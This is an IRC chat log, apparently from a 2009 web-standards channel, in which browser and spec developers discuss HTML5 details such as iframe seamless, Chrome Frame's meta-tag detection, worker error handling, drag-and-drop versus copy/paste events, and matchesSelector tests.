note that seamless only works same-origin
12:13
<Philip`>
(That's what some example in a PowerPoint slide somewhere does)
12:14
<Philip`>
Oh, it does?
12:14
<annevk2>
you cannot do much more than you can do already with JavaScript afaict
12:14
<annevk2>
"Specifically, when the attribute is set on an element and while the browsing context's active document has the same origin as the iframe element's document ..."
12:14
<Philip`>
Sounds like XSS is irrelevant then
12:15
<Philip`>
so that's okay
12:23
<annevk2>
http://twitpic.com/iqyre lol
12:30
<zcorpan>
hmm, the font doesn't work
12:52
<Lachy>
zcorpan, is that X in the top corner the webfonts test?
12:52
<zcorpan>
Lachy: yes
12:53
<zcorpan>
it uses the Ahem font, so the glyph for "X" should be a square that covers the red background
12:54
<Lachy>
that test fails in Chrome as well, so the bug isn't specific to the IE plugin
12:54
<zcorpan>
oh
12:54
<zcorpan>
i thought web fonts worked in chrome
12:55
<Lachy>
might work in Chromium by now, but Chrome 3.0 is failing for me
12:56
<annevk2>
also fails in Chrome nightlies on Ubuntu
12:57
<zcorpan>
it stops at 99 after history navigation
12:57
<zcorpan>
kungFuDeathGrip is null
12:58
<annevk2>
oh, I do get 100/100
12:59
<zcorpan>
i have chromium on mac, though i don't know how often it updates
13:00
<annevk2>
my latest Chromium also goes to 99/100
15:02
<Philip`>
Rik|work: http://code.google.com/chrome/chromeframe/ says it's open-source and they wouldn't lie to us
15:02
<Rik|work>
no, they wouldn't, of course
15:03
<AryehGregor>
(I was really somewhat including the whole open-source ideology in the term "open-source", not just the OSI definition.)
15:03
<Rik|work>
btw, Chrome isn't open source, Chromium is
15:04
<AryehGregor>
Yes, yes, Chrome is only 99% open-source, I know.
15:04
<Philip`>
Rik|work: http://src.chromium.org/svn/trunk/src/chrome_frame/
15:10
<Philip`>
http://src.chromium.org/svn/trunk/src/chrome_frame/utils.cc
15:11
hsivonen
wonders how HTMLScanner deals with <script> and conditional comments
15:12
<Philip`>
Looks like it just tokenizes and looks for <meta> tags before <body> tags
15:12
<hsivonen>
it would be "fun" for the flowchart if those are handled differently from how IE itself handles X-UA-Compatible
15:12
<hsivonen>
is HTMLScanner an approximative hack or a real tokenizer?
15:13
<Philip`>
It's a hack
15:13
<hsivonen>
"fun"
15:13
<Philip`>
http://src.chromium.org/svn/trunk/src/chrome_frame/html_utils.cc
15:14
<Philip`>
Looks like it's basically splitting strings on spaces and '=' and '/', if I'm not mistaken
15:14
<Philip`>
(which I quite possibly am)
15:14
<Philip`>
when searching for attribute names
15:15
<Philip`>
so presumably it's going to fail on unquoted content=chrome=1
15:15
<hsivonen>
has anyone on this channel happened to analyze how CNN video pages like http://www.cnn.com/video/#/video/offbeat/2009/09/23/wilhelm.ks.50.states.90.secs.kwch put the text in the layout?
15:16
<Philip`>
Oh, also it's going to fail on <meta http-equiv="&#x78;-ua-compatible" content="chrome=1"> because it does string checks for x-ua-compatible first, I think
15:17
<zcorpan>
that's ok because charset meta detection fails for that, too
15:17
<Philip`>
And once it's found the x-ua-compatible content attribute value, it does a case-insensitive check for the substring "chrome="
15:18
<zcorpan>
ascii case-insensitive?
15:19
<Philip`>
I think so
15:19
<Philip`>
but it's whatever Win32 StrStrI does
15:20
<Philip`>
There's also a registry setting which can give a list of "opt-in" URLs to always be rendered with Chrome
15:20
Philip`
doesn't know who does the opting in, but assumes it's Google
15:22
<zcorpan>
why does a runtime error in a worker fire a ErrorEvent while a runtime error in <script> invokes the onerror function with three arguments?
15:22
<Philip`>
Also, the MIME type isn't (as stated) application/chromeframe, it's application/chromepage
15:23
<hsivonen>
w00t! I get text on CNN again.
15:23
<annevk2>
zcorpan, I believe because implementors didn't want the complexity
15:24
<hsivonen>
woohoo! Live DOM works again too
15:24
<annevk2>
zcorpan, I'd complain :)
15:24
<hsivonen>
Philip`: documentation FTW! Like MSDN :-)
15:26
<Philip`>
hsivonen: Documentation? What documentation?
15:26
<Philip`>
Newsgroup postings are all we get :-)
15:27
<Philip`>
At least Microsoft does actually write technical documentation
15:34
<zcorpan>
annevk2: hmm, actually, workers says to "report the error", which invokes the function with three arguments
15:35
<zcorpan>
annevk2: but then also fires an event if the error was "not handled"
15:36
<zcorpan>
which seems broken
15:37
<zcorpan>
unless i'm missing something
15:41
Mrmil
thinks "Bloody hell" if Hixie is the only author of whole canvas element.
15:41
<AryehGregor>
Mrmil, he's the only author of the entire HTML5 spec, more or less.
15:42
<Philip`>
You can blame him for everything
15:42
<AryehGregor>
That's the awesome part about a single-editor spec, you always know who to blame.
15:43
<hsivonen>
Mrmil: he has authored the spec text but he didn't design canvas
15:43
<AryehGregor>
It's so hard to hold effective grudges against a whole Working Group or whatever for not reaching consensus to implement your pet change.
15:43
<Mrmil>
Hehehe
15:44
<Mrmil>
hsivonen: aha, looks pretty complex...
15:45
<Mrmil>
Is HTML5 the only canvas api documentation so far?
15:46
<Mrmil>
(HTML5 spec I meant)
15:46
<Philip`>
Apple and Mozilla have documentation, and there's various tutorials and things out there
15:46
<hsivonen>
Mrmil: Apple had docs when they did the first iteration of canvas
15:47
<zcorpan>
i think opera has some canvas tutorials
15:48
<Mrmil>
I'm following this one https://developer.mozilla.org/en/Canvas_tutorial but feel like I don't have legs and arms without having some sort of nice, organised and searchable documentation :)
15:48
<zcorpan>
e.g. http://dev.opera.com/articles/view/html-5-canvas-the-basics/
15:48
<zcorpan>
Mrmil: there's a cheat sheet which might be helpful
15:49
<Mrmil>
zcorpan: cool, you mean on the opera tut site?
15:49
<zcorpan>
no here http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html
15:50
<Mrmil>
zcorpan: ok, thx
15:51
<gsnedders>
zcorpan: I can. I won't, at the moment. :P
15:51
<zcorpan>
gsnedders: ok
15:52
<zcorpan>
gsnedders: any progress on web dom core?
15:52
<gsnedders>
zcorpan: I've done no web stuff this month
15:52
<zcorpan>
ok
15:53
<gsnedders>
Heck, I've not been at a computer that much this month
15:53
<gsnedders>
(And no, I'm not writing web dom core tests on paper :P)
15:53
<annevk2>
gsnedders, when are you back?
15:53
<gsnedders>
annevk2: Oct 5th
15:53
<hsivonen>
gsnedders: do you own Web DOM Core now?
15:54
<gsnedders>
hsivonen: I hope I haven't quite made that mistake yet.
15:54
<annevk2>
gsnedders, ah, I'll likely be around then
15:54
<gsnedders>
annevk2: in se?
15:54
<annevk2>
ja
16:02
<jgraham>
Is it me or are Google unusually bad at publishing accurate technical information
16:21
<TabAtkins>
Ooh, only a single spam made it through the filters last night. Those "you've won 1M british pounds" things are annoyingly good at getting through gmail's filters.
16:22
gsnedders
wonders what the best uni he could get into is…
16:22
<zcorpan>
hmm, seems i was confusing the WorkerGlobalScope's onerror with the Worker's onerror
16:24
<hsivonen>
I can again say that document.write() is an insane amount of work on top of the parser code
16:24
<zcorpan>
still, having different code in self.onerror and dedicatedworker.onerror seems a bit weird
16:24
<hsivonen>
I now have a setup going where the network stream and document.writes and parsed using separate parser core instances that sync their internal state appropriately
16:24
<jgraham>
gsnedders: Depends if you mean |break in at night" or not
16:25
<gsnedders>
jgraham: not :P
16:25
<hsivonen>
I guess I should now try edge cases...
16:25
<jgraham>
Well I don't recommend breaking in during the day
16:25
<jgraham>
Although possibly if you just walk in and pretend to be a student no one will notice
16:25
<hsivonen>
s/and parsed/are parsed/
16:25
<jgraham>
Especially if you go to lectures but not any at 9am
16:26
<jgraham>
And turn up late
16:26
<gsnedders>
Obviously the solution is to have done better last year…
16:27
<jgraham>
And not to ask questions in IRC channels with unhelpful people in
16:28
<zcorpan>
jgraham: don't end a sentence with a preposition
16:28
<miketaylr>
zcorpan: why wouldn't he want to?
16:29
miketaylr
kids
16:29
<zcorpan>
jgraham: btw i fixed assertThrows
16:30
<jgraham>
zcorpan: Nice.
16:30
jgraham
hasn't looked yet
16:33
<annevk2>
hsivonen, this really gives a perf benefit?
16:33
annevk2
would think the bottleneck is not parsing
16:33
<hsivonen>
annevk2: dunno yet
16:34
<hsivonen>
this will have sucked pretty big time if it won't
16:34
<hsivonen>
but clearly the people who suggested parsing SVG islands as XML haven't tried doing this
16:34
<annevk2>
parsing is so fast compared to layout and scripting...
16:35
<hsivonen>
annevk2: the idea is to also speculate and start GETs early
16:35
<annevk2>
hsivonen, heh, I never really took that seriously as I was pretty sure it wouldn't work
16:35
<jgraham>
annevk2: Maybe if you have megabytes of SVG inline then parsing will become slow
16:36
<zcorpan>
slower than megabytes of HTML?
16:37
<hsivonen>
I expect the main benefit to come from being able to parse the tail of the document while the main thread waits for an external script to load
16:37
<zcorpan>
i guess fixing up attributes is a bit of an overhead with svg
16:37
<hsivonen>
but I don't have that part yet
16:37
<hsivonen>
zcorpan: the attribute fixup takes no time
16:37
<hsivonen>
zcorpan: it's been paid in RAM footprint
16:38
<zcorpan>
hsivonen: ok, cool
16:38
<jgraham>
zcorpan: I guess misnested formatting elements are the only really slow thing
16:38
<jgraham>
and they're in HTML
16:40
<raggsy>
Hi, question: Is there currently any way of detecting the support of DataTransfer.files in the browser?
16:41
<zcorpan>
raggsy: sure, just check that .files is not undefined
16:42
<raggsy>
zcorpan: to clarify, I mean onload. so that I can provide interface A if available, otherwise interface B.
16:42
<raggsy>
dataTransfer.files comes with the event only as far as I know?
16:44
<zcorpan>
hmm yeah
16:45
<raggsy>
I'm testing dnd from the desktop & uploading via xhr2 and I'd like to provide the interface if the browser supports it, but I can see no way of detecting that without vendor/version sniffing...
16:46
<zcorpan>
i thought maybe you could check the prototype of DataTransfer, but firefox throws
16:46
<zcorpan>
and DataTransfer is undefined in webkit
16:46
<zcorpan>
or maybe i have an old webkit
16:47
<zcorpan>
why does firefox throw? security reasons?
16:48
<zcorpan>
it also throws for Event.prototype
16:50
<zcorpan>
Event.prototype doesn't throw in webkit, though
16:51
<zcorpan>
raggsy: in theory you could check DataTransfer.prototype.files
16:53
<jgraham>
zcorpan: Have you checked it actually defines the properties on the prototype object rather than somewhere odd
16:53
<Philip`>
hsivonen: You should have written the parser and browser in Haskell, so you can simply fork the state before speculatively parsing and throw it all away if a script does something funny
16:53
<zcorpan>
jgraham: how would i check that?
16:54
<gsnedders>
Is it Thursday or Friday today?
16:55
<Philip`>
gsnedders: Yes
16:55
<Rik|work>
depends on your local time I guess
16:55
<gsnedders>
Which day of the week is it currently in UTC+1?
16:55
<zcorpan>
http://isitfriday.biz/
16:55
<Philip`>
gsnedders: Thursday
16:56
<gsnedders>
zcorpan, Philip` Thank you.
16:56
<Philip`>
Glad to be of assistance
16:59
<jgraham>
zcorpan: Seems to be some security reasons, yes
17:02
<raggsy>
zcorpan: sorry you lost me a bit there. Are you & jgraham saying it's due to security reasons that the browser won't reveal if it supports DataTransfer.files before the event?
17:11
<jgraham>
raggsy: Doing "files" in DataTransfer.prototype works
17:11
<jgraham>
(was it obvious which bit of that was code?)
17:12
<jgraham>
if("files" in DataTransfer.prototype) {/*there is a files property*/}
17:13
<jgraham>
What doesn't work is tro try doing if(DataTransfer.prototype.files !== undefined){}
17:14
<raggsy>
jgraham: got it. I was trying typeof and getting nothing back.
17:52
Hixie
prepares to get depressed
17:54
<othermaciej>
what do you expect to depress you? usability testing?
17:54
<Hixie>
yeah
17:54
<Hixie>
wow you're up early
17:55
<othermaciej>
HTML WG telecon today
17:57
<hsivonen>
Hixie: today is the big day?
17:57
<hsivonen>
the usability test day that is
17:58
<Hixie>
day 1 of 2
17:58
<hsivonen>
Hixie: can you disclose how you recruit participants?
17:58
<Rik|work>
what usability tests ?
17:59
<Hixie>
hsivonen: no idea, actually.
17:59
<Hixie>
hsivonen: we have a recruiting team or something who do that kind of thing
17:59
<Hixie>
hsivonen: we give them some criteria, and they bring back some people
18:00
<Philip`>
Can you disclose the criteria?
18:00
<hsivonen>
Hixie: that's a convenient abstraction :-)
18:00
<Hixie>
Philip`: web developers who know and use CSS, and aren't involved in the html5 development process at all
20:21
<Philip`>
miketaylr: You could write <table><tr><td>Slippery content <!-- | --></table> as a barrier to stop the content looking like it'll slide out easily
20:21
<miketaylr>
:)
20:21
<miketaylr>
or i could just hold my laptop more steadily
21:25
<othermaciej>
Hixie: does HTML5 specify "cut", "copy", "paste" and "beforepaste" events?
21:36
<erlehmann>
ahaha http://evan-roth.com/all-tags.html
21:38
<Philip`>
<!-- Using (almost) all non-depriciated HTML tags from http://www.w3schools.com/tags/default.asp -->
21:38
<Philip`>
That's a good start
21:39
<Dashiva>
<script> kinda ruins it all by itself
21:42
<Steve^>
only 49 validation errors
21:42
<Steve^>
*47
21:46
<Philip`>
Steve^: On validator.nu?
21:46
<Philip`>
That number is meaningless because some errors are masking lots of other errors
21:58
<Steve^>
Philip`, indeed
22:01
<Hixie>
othermaciej: no, it just reuses the drag-and-drop events
22:02
<othermaciej>
Hixie: shouldn't "cut", "copy", "paste" and "beforepaste" be required for implementations at least, for compatibility with existing content?
22:06
<othermaciej>
Hixie: also, even if it makes sense to say everything draggable should be copyable, I don't think it makes sense to require that every time in the UI you can use the Copy command, you can also drag
22:06
<othermaciej>
that's not how native UIs work
22:07
<Hixie>
it's not clear to me how else to make copy and paste work
22:07
<hsivonen>
has anyone yet done a post mortem on how local storage got into so many browsers before the concurrency problems were considered on the current level of detail?
22:08
<othermaciej>
Hixie: how about via the copy/paste events that browsers already support and which are used by content?
22:21
<Philip`>
hsivonen: Maybe the process was something like "Ooh, shiny! *hack* *hack* *hack* *release*"?
22:28
<Hixie>
othermaciej: are those good? it seems like they would encourage authors to only support drag and drop and not copy and paste, since they'd have to implement both to get both.
22:28
<Hixie>
hsivonen: i don't know that there's more to it than Philip` said
22:28
<othermaciej>
Hixie: I don't see how that conclusion follows - one could certainly support copy/paste events while making drag/drop events also work via the copy/paste UI
22:29
<othermaciej>
Hixie: in fact, that is what browsers will have to do anyway if they implement the HTML5 spec as written and choose not to break existing content
22:29
<othermaciej>
Hixie: so it would be nice if there was a spec that describes how it works
22:29
<Hixie>
othermaciej: is there much existing content using the current events? i haven't looked into it much.
22:29
<Hixie>
othermaciej: i guess it's something to add to the list http://wiki.whatwg.org/wiki/Companion_specifications
22:36
<othermaciej>
Hixie: you have to specify how they are sequenced with drag/drop events, if both occur in a copy/paste sequence - seems hard to do in a separate spec
22:36
<Hixie>
probably
22:36
<Hixie>
not gonna happen in html5 :-)
22:36
<Hixie>
happy to do it in the next version though
22:37
<othermaciej>
it's a potential interop problem for implementing what the spec says for drag/drop events
22:37
<othermaciej>
(though I don't know if implementations will actually be willing to hook up drag & drop events to the copy/paste UI)
22:37
<othermaciej>
anyway I'll send email or file a bug or something
22:38
<othermaciej>
I do believe there is significant content using the copy/paste events, but I don't have a quantitative study at hand
22:39
<Philip`>
Would that be stuff like oncopy in http://philip.html5.org/data/attr-count-pages-dotbot.txt (on ~0.1% of pages)?
22:40
<Hixie>
well you have to discount all the cases of pages that are just stopping people from copying
22:40
<Hixie>
or stopping people from pasting (e.g. into password fields)
22:51
<Philip`>
Oh, true
23:16
<zcorpan>
- <dd>Uses <code><a href=#htmlelement>HTMLElement</a></code>.</dd>
23:16
<zcorpan>
+ <dd>Use <code><a href=#htmlelement>HTMLElement</a></code>.</dd>
23:17
<zcorpan>
Hixie: ^ mistake?
23:17
<Hixie>
no
23:17
<Hixie>
:-)
23:18
<zcorpan>
ah
23:27
<Lachy>
is there anyone from webkit here who can explain why Element.webkitMatchesSelctor() doesn't work in the latest nightly? https://bugs.webkit.org/show_bug.cgi?id=29703 - The bug says it landed in r48723, and I have r48730 installed
23:28
<Lachy>
weinig, ^
23:28
<weinig>
Lachy: hm, not sure
23:29
<weinig>
tries it out
23:32
<weinig>
Lachy: it seems to be working for me in the latest nightly
23:32
weinig
will upload a test case
23:34
<weinig>
Lachy: what score do you get on https://bug-29703-attachments.webkit.org/attachment.cgi?id=40087 ?
23:34
<weinig>
JohnResig: are you around?
23:34
<Lachy>
99.2%: 2406 passed, 20 failed
23:34
<weinig>
ok, then that is it working
23:34
<Lachy>
it's failing the webkitMatchesSelector tests
23:35
<weinig>
all of them?
23:35
<Lachy>
yes, all 4 of them
23:36
<weinig>
that test has a lot more than 4
23:36
<weinig>
we are failing the "no value" ones
23:36
<Lachy>
ok, then it must be passing the rest.
23:36
<weinig>
yes
23:36
<Lachy>
that's weird. Not working for me in the live dom viewer
23:37
<weinig>
Lachy: odd
23:38
<Lachy>
ah, nevermind. I made a stupid error
23:39
<Lachy>
missed the [0] on the end of getElementsByTagName("p"); so it was trying to do it on the NodeList.
23:39
<weinig>
:)
23:40
<weinig>
Lachy: I used the same rules as querySelector/all with regards to stringifying null/undefined (we do it), throwing on the empty string, and throwing if any of the selectors need namespace resolution
23:40
<zcorpan>
Hixie: is it intended that WorkerGlobalScope's onerror's function is invoked with three arguments (which the spec says, afaict), rather than firing an ErrorEvent at the WorkerGlobalScope (which is what firefox does)?
23:41
<Hixie>
yes
23:41
<Hixie>
like window.onerror
23:41
<weinig>
the only thing we fail on JohnResig's test is that we don't throw when you pass no arguments
23:41
<weinig>
Lachy: we treat that the same as passing undefined
23:41
<zcorpan>
Hixie: ok
23:41
<weinig>
not sure if that is a bug or not
23:41
<weinig>
but it is the same as qs/qsa
23:42
<Lachy>
I believe it's a bug. I think it should be a WRONG_ARGUMENTS_ERR
23:44
<zcorpan>
Lachy: WRONG_ARGUMENTS_ERR is an opera exception; web idl doesn't define yet what should happen with too few arguments i think
23:44
<zcorpan>
Lachy: html5 used to say to throw NOT_SUPPORTED_ERR but i can't find that anymore
23:44
weinig
had another question for heycam
23:46
<Lachy>
zcorpan, ok. In any case, the test suite is expecting an exception. Looks like it doesn't check which exception it is. I guess that's why
23:50
<Lachy>
weinig, so, is there any special, non-obvious behaviour for matchesSelector that I need to be careful about when speccing it?
23:51
<weinig>
Lachy: none that I ran into
23:51
<Lachy>
it does seem fairly trivial to define at first glance, since it can just be defined similarly to qSA
23:51
weinig
nods
23:51
Lachy
will spec it tomorrow
23:52
<weinig>
sweet!
23:53
<Lachy>
after this, I want to prioritise the scoped selector APIs, and handle both the ":scope>p" and the ones with the implied scope like ">em, >strong"
23:56
zcorpan
notes that Hixie has got the order wrong for "in" and "optional" in idl in web workers
23:56
<Hixie>
wonderful
23:57
<Hixie>
is it "optional in"?
23:57
<zcorpan>
in html5, too
23:57
<Hixie>
or "in optional"?
23:57
<zcorpan>
"in optional"
23:57
<zcorpan>
though "in" is optional!
23:58
<Hixie>
fixed
23:58
<zcorpan>
cool
23:58
<Lachy>
does anyone understand how Node.compareDocumentPosition() is supposed to work? DOM 3 Core is very badly defined. It's not at all clear how the return value is calculated
23:59
<Lachy>
and Firefox's implementation seems to be returning rather strange numbers that don't seem to mean anything obvious